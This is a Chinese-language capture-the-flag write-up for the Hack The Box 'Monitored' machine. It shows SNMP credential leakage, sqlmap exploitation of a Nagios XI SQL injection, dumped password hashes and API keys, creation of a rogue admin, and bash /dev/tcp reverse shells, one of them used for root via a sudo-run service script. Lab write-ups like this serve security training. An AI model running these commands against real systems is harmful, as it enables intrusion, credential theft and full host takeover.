Linux/Monitored

Enumeration

nmap

用 nmap 扫描了常见的端口，发现对外开放了 22,80,389,443,5667 端口，端口详细信息如下

┌──(kali㉿kali)-[~/vegetable/HTB/Monitored]
└─$ nmap -sC -sV -p  22,80,389,443,5667 10.10.11.248
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-12 04:50 EDT
Nmap scan report for 10.10.11.248
Host is up (0.38s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey: 
|   3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
|   256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
|_  256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
80/tcp   open  tcpwrapped
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp  open  tcpwrapped
443/tcp  open  tcpwrapped
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
5667/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.48 seconds

扫描端口详细信息，发现在 service 处都是 tcpwrapped，这意味着这些服务受到 TCP Wrapper 访问控制列表（ACL）的保护。TCP Wrapper 是一个用于限制网络访问的工具，它基于源 IP 地址或其他因素来决定是否允许连接。22 端口对应着 ssh 服务，80 端口对应着 http，并且提示了域名信息 nagios.monitored.htb，389 端口一般表示的是 ldap 协议，即轻量目录访问协议，443 端口代表 https，但是 nmap 给出的结果显示 400 Bad Request，另外 5667 并不是一个常见的端口

先从 Web 开始，页面左上角写着 Nagios XI，点击 Access Nagios XI 会跳转至登陆页面，搜索发现 Nagios XI 是一个网络监控软件，在网上搜索发现了很多漏洞，目前也并不清楚系统的版本信息，所以先看看别的

nagios.monitored.htb→Nagios XI

但是没有登录用户名口令，无法进入系统，尝试利用 gobuster 扫描一下 Web 目录，发现了 /api/v1/authenticate 目录，访问该接口发现可以认证，需要使用 POST 方式

但同样没有用户名和密码

搜索 nagios 比较新的漏洞，发现这些安全漏洞主要影响到 5.11.1 及更低版本的 Nagios XI。CVE-2023-40931、CVE-2023-40933 和 CVE-2023-40934 漏洞是 SQL 注入问题，网络可利用这几个漏洞提升自身权限，并获取敏感的用户数据，包括密码哈希和 API 令牌。但是搜索发现其中大部分都需要身份验证

ldap 协议也没搞出什么东西，然后想到还有 udp 端口没有扫描，尝试扫描 udp 端口，然后发现了 snmp

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU 10.10.11.248     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-13 04:14 EDT

Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.38s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
123/udp open          ntp
161/udp open          snmp
162/udp open|filtered snmptrap

SNMP - 简单网络管理协议是一种用于监控网络中不同设备（如路由器、交换机、打印机、物联网等）的协议。可以参考 hacktricks 关于 snmp 枚举的内容161,162,10161,10162/udp - 渗透测试 SNMP |黑客技巧 |黑客技巧 (hacktricks.xyz)

首先使用 nmap 针对 snmp 相关脚本扫描了 161 端口，结果如下

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p 161 --script "snmp* and not snmp-brute" 10.10.11.248
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-13 04:41 EDT
Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.45s latency).

Bug in snmp-win32-software: no string output.
PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64
|_  System uptime: 3h38m47.39s (1312739 timeticks)
| snmp-processes: 
|   1: 

|   2: 

 <--snip-->
  
|   219: 
|_  220: 
| snmp-netstat: 
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  127.0.0.1:25         0.0.0.0:0
|   TCP  127.0.0.1:3306       0.0.0.0:0
|   TCP  127.0.0.1:5432       0.0.0.0:0
|   TCP  127.0.0.1:7878       0.0.0.0:0
|   TCP  127.0.0.1:34392      127.0.1.1:80
|   TCP  127.0.0.1:34396      127.0.1.1:80
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:162          *:*
|   UDP  10.10.11.248:123     *:*
|_  UDP  127.0.0.1:123        *:*
| snmp-interfaces: 
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Status: up
|     Traffic stats: 1.26 Mb sent, 1.26 Mb received
|   VMware VMXNET3 Ethernet Controller
|     IP address: 10.10.11.248  Netmask: 255.255.254.0
|     MAC address: 005056b91c9a (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Status: up
|_    Traffic stats: 35.26 Mb sent, 13.42 Mb received
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 6f3fa7421af94c6500000000
|   snmpEngineBoots: 35
|_  snmpEngineTime: 3h38m47s

Nmap done: 1 IP address (1 host up) scanned in 57.84 seconds

可以看到目标是一个名为 monitored 的Debian Linux 系统，内核版本为 5.10.0-27-amd64，系统运行时间等，在进程部分没有显示有效的进程 ID 和描述，而在 snmp-info 部分，从上到下依次为，由 net-snmp 项目提供 SNMP引擎；unknow 表示无法识别引擎 ID 格式；引擎 ID 为 6f3fa7421af94c6500000000；SNMP 引擎的重启次数；SNMP引擎自上次启动以来的运行时间

并没有获取到什么关键的信息，尝试使用文章中另一个工具，snmpwalk

┌──(root㉿kali)-[/home/kali/vegetable/HTB/Monitored]
└─# snmpwalk -c public -v 1 -m ALL 10.10.11.248 .1.3.6.1.2.1.25

发现了用户名和密码泄露，svc/XjH7VCehowpR1xZB

尝试使用该用户名密码登录 Web，但是失败了，试一下刚刚扫描出的目录 /api/v1/authenticate，用刚才的方法依然显示用户名错误，在论坛里找了找，发现了帮助解决不安全的登录/后端票证身份验证。- Nagios 支持论坛

┌──(kali㉿kali)-[~]
└─$ curl -XPOST -k -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'

{
    "username": "svc",
    "user_id": "2",
    "auth_token": "2baff7b4f721ab40fbbbdf6f82864e8cfaf703f7",
    "valid_min": 5,
    "valid_until": "Thu, 14 Mar 2024 03:39:54 -0400"
}

Exploitation

CVE-2023-40931

根据文章内容获得了一个 auth_token，试试能否利用 CVE-2023-40931，加上 token 依然出现错误，但显然和没有 token 时不同

在参数 id 后添加了一个单引号，导致服务报错，在测试时发现，token 只能使用一次，每一次都需要重新生成

因为本身就存在 sql 注入漏洞，简单验证一下就可以了，尝试使用 sqlmap 来自动化注入，每次都需要重新生成一个 token，可以利用管道符将输出传递给 jq 来提取特定数据

┌──(kali㉿kali)-[~]
└─$ curl -XPOST -ks -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | jq -r '.auth_token'
c8506bfe4a11ea4a8a08e99385ea93558b252018

 #使用 -s 可以省略过程信息

然后将这个结果作为参数传递给存在 sql 注入的接口，因为是以 get 方式提交，所以可以使用以下指令来自动化注入

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -XPOST -ks -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | jq -r '.auth_token'`" --level 5 --risk 3 -p id --batch

结果如下

接下来就挨着爆破数据库，表，内容

--dbs
available databases [2]:
[*] information_schema
[*] nagiosxi

--tables -D "nagiosxi"
Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog                 |
| xi_auth_tokens              |

<--snip-->
 
| xi_users                    |
+-----------------------------+


--dump -T "xi_users"
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | name                 | email               | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | Nagios Administrator | admin@monitored.htb | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 1710405755   | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 3              | 1701427555           |
| 2       | svc                  | svc@monitored.htb   | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1699730174   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 3              | 1699697433           |
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

获得了管理员的密码 hash，在 hash Analyzer 中分析获得如下结果

使用 hashcat 破解失败了，后来发现可以使用 api_key 来新建一个管理员用户，在论坛add new users to Nagios XI web interface - Nagios Support Forum中发现可以创建一个普通用户，又参考其他人的 wp，发现可以利用 authlevel=admin 来创建一个管理员用户，指令及结果如下

┌──(kali㉿kali)-[~/vegetable/HTB/Monitored]
└─$ curl -k -L -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=vegetable&password=vegetable&name=vegetable&email=vegetable@localhost&auth_level=admin"
{
    "success": "User account vegetable was added successfully!",
    "user_id": 6
}

此时，可以凭借创建的用户登录系统

command injection

点击同意，修改密码后，点击 config → core config → commands，在这里可以看到一些命令，也可以添加新命令

在 Online - Reverse Shell Generator (revshells.com) 中找一个反向连接 shell，然后新建一个 command

然后转到 service，导入刚才创建的 command

最后点击页面下方 run check command，但是该 rev_shell 没起作用，按照同样的流程发现可以使用下面的指令来反弹 shell

bash -c 'bash -i >& /dev/tcp/10.10.14.56/4444 0>&1'

在监听端获取到反弹 shell，并升级该 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.248] 37276
bash: cannot set terminal process group (78501): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ which python3
which python3
/usr/bin/python3
nagios@monitored:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
nagios@monitored:~$ ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

利用 linpeas.sh 来检查系统漏洞，用 python 开启一个 http 服务，然后在目标主机中下载，并添加执行权限

nagios@monitored:/tmp$ wget http://10.10.14.56:8888/linpeas.sh
--2024-03-14 23:16:44--  http://10.10.14.56:8888/linpeas.sh
Connecting to 10.10.14.56:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 840.38K   135KB/s    in 6.2s    

2024-03-14 23:16:51 (135 KB/s) - ‘linpeas.sh’ saved [860549/860549]

nagios@monitored:/tmp$ chmod +x linpeas.sh

找到的一些结果如下，有 npcd 的写入执行权限

所以可以往其中写入反向 shell 连接脚本，然后执行该文件。在 sudo -l 一栏中发现以下内容，nagios 可以不需要密码就以 root 身份执行以下命令

然后一步一步发现 manage_service.sh 可以控制 npcd，查看其状态如下

关闭 npcd 服务，然后修改其内容为反向 shell 连接脚本，在重启 npcd 服务即可获取到反弹 shell，又因为是 root 执行的，所以……

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
nagios@monitored:/usr/local/nagios/bin$ echo '#!/bin/bash' > npcd
nagios@monitored:/usr/local/nagios/bin$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.56/4445 0>&1'" >> npcd
nagios@monitored:/usr/local/nagios/bin$ cat npcd
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.56/4445 0>&1'

然后在 kali 中监听 4445 端口，在重新启动 npcd 服务

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

在监听端，收到 root shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4445
listening on [any] 4445 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.248] 43260
bash: cannot set terminal process group (105350): Inappropriate ioctl for device
bash: no job control in this shell
root@monitored:/# id
id
uid=0(root) gid=0(root) groups=0(root)